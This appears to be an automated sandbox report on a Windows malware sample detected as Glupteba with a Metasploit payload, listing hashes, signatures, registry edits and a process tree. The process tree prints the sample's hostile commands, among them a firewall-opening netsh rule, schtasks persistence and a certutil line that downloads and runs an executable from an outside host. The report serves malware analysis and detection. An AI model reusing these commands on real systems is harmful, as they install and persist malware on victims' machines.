Analysis
-
max time kernel
146s -
max time network
165s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
14-07-2022 02:03
Static task
static1
Behavioral task
behavioral1
Sample
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Resource
win10v2004-20220414-en
General
-
Target
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
-
Size
3.9MB
-
MD5
6cdb82a5248095408ead1969b1c30f4b
-
SHA1
6414d0f3dc303c834f0ddce218139348074bbdac
-
SHA256
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e
-
SHA512
c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 8 IoCs
Processes:
resource yara_rule behavioral2/memory/2944-131-0x0000000003710000-0x0000000003F14000-memory.dmp family_glupteba behavioral2/memory/2944-132-0x0000000000400000-0x0000000002F5D000-memory.dmp family_glupteba behavioral2/memory/2944-134-0x0000000003710000-0x0000000003F14000-memory.dmp family_glupteba behavioral2/memory/2944-135-0x0000000000400000-0x0000000002F5D000-memory.dmp family_glupteba behavioral2/memory/4092-139-0x0000000000400000-0x0000000002F5D000-memory.dmp family_glupteba behavioral2/memory/4092-143-0x0000000000400000-0x0000000002F5D000-memory.dmp family_glupteba behavioral2/memory/1032-145-0x0000000000400000-0x0000000002F5D000-memory.dmp family_glupteba behavioral2/memory/1032-151-0x0000000000400000-0x0000000002F5D000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 2172 created 2944 2172 svchost.exe 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe PID 2172 created 1032 2172 svchost.exe csrss.exe PID 2172 created 1032 2172 svchost.exe csrss.exe PID 2172 created 1032 2172 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1032 csrss.exe 232 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SilentLeaf = "\"C:\\Windows\\rss\\csrss.exe\"" 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 228 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exedescription ioc process File opened for modification C:\Windows\rss 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe File created C:\Windows\rss\csrss.exe 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.execsrss.exepid process 2944 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe 2944 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe 4092 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe 4092 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe 1032 csrss.exe 1032 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 2944 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe Token: SeImpersonatePrivilege 2944 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe Token: SeTcbPrivilege 2172 svchost.exe Token: SeTcbPrivilege 2172 svchost.exe Token: SeBackupPrivilege 2172 svchost.exe Token: SeRestorePrivilege 2172 svchost.exe Token: SeBackupPrivilege 2172 svchost.exe Token: SeRestorePrivilege 2172 svchost.exe Token: SeBackupPrivilege 2172 svchost.exe Token: SeRestorePrivilege 2172 svchost.exe Token: SeSystemEnvironmentPrivilege 1032 csrss.exe Token: SeBackupPrivilege 2172 svchost.exe Token: SeRestorePrivilege 2172 svchost.exe Token: SeBackupPrivilege 2172 svchost.exe Token: SeRestorePrivilege 2172 svchost.exe Token: SeBackupPrivilege 2172 svchost.exe Token: SeRestorePrivilege 2172 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exe48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.execmd.execsrss.exedescription pid process target process PID 2172 wrote to memory of 4092 2172 svchost.exe 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe PID 2172 wrote to memory of 4092 2172 svchost.exe 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe PID 2172 wrote to memory of 4092 2172 svchost.exe 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe PID 4092 wrote to memory of 2340 4092 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe cmd.exe PID 4092 wrote to memory of 2340 4092 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe cmd.exe PID 2340 wrote to memory of 2280 2340 cmd.exe netsh.exe PID 2340 wrote to memory of 2280 2340 cmd.exe netsh.exe PID 4092 wrote to memory of 1032 4092 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe csrss.exe PID 4092 wrote to memory of 1032 4092 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe csrss.exe PID 4092 wrote to memory of 1032 4092 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe csrss.exe PID 2172 wrote to memory of 3480 2172 svchost.exe schtasks.exe PID 2172 wrote to memory of 3480 2172 svchost.exe schtasks.exe PID 2172 wrote to memory of 484 2172 svchost.exe schtasks.exe PID 2172 wrote to memory of 484 2172 svchost.exe schtasks.exe PID 2172 wrote to memory of 232 2172 svchost.exe patch.exe PID 2172 wrote to memory of 232 2172 svchost.exe patch.exe PID 1032 wrote to memory of 228 1032 csrss.exe bcdedit.exe PID 1032 wrote to memory of 228 1032 csrss.exe bcdedit.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe"C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe"C:\Users\Admin\AppData\Local\Temp\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes1⤵
- Modifies Windows Firewall
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD56cdb82a5248095408ead1969b1c30f4b
SHA16414d0f3dc303c834f0ddce218139348074bbdac
SHA25648bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e
SHA512c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD56cdb82a5248095408ead1969b1c30f4b
SHA16414d0f3dc303c834f0ddce218139348074bbdac
SHA25648bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e
SHA512c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a
-
memory/228-150-0x0000000000000000-mapping.dmp
-
memory/232-148-0x0000000000000000-mapping.dmp
-
memory/484-147-0x0000000000000000-mapping.dmp
-
memory/1032-145-0x0000000000400000-0x0000000002F5D000-memory.dmpFilesize
43.4MB
-
memory/1032-151-0x0000000000400000-0x0000000002F5D000-memory.dmpFilesize
43.4MB
-
memory/1032-140-0x0000000000000000-mapping.dmp
-
memory/1032-144-0x0000000003800000-0x0000000003BA8000-memory.dmpFilesize
3.7MB
-
memory/2280-137-0x0000000000000000-mapping.dmp
-
memory/2340-136-0x0000000000000000-mapping.dmp
-
memory/2944-134-0x0000000003710000-0x0000000003F14000-memory.dmpFilesize
8.0MB
-
memory/2944-131-0x0000000003710000-0x0000000003F14000-memory.dmpFilesize
8.0MB
-
memory/2944-135-0x0000000000400000-0x0000000002F5D000-memory.dmpFilesize
43.4MB
-
memory/2944-132-0x0000000000400000-0x0000000002F5D000-memory.dmpFilesize
43.4MB
-
memory/2944-130-0x000000000335D000-0x0000000003705000-memory.dmpFilesize
3.7MB
-
memory/3480-146-0x0000000000000000-mapping.dmp
-
memory/4092-133-0x0000000000000000-mapping.dmp
-
memory/4092-143-0x0000000000400000-0x0000000002F5D000-memory.dmpFilesize
43.4MB
-
memory/4092-139-0x0000000000400000-0x0000000002F5D000-memory.dmpFilesize
43.4MB
-
memory/4092-138-0x0000000003405000-0x00000000037AD000-memory.dmpFilesize
3.7MB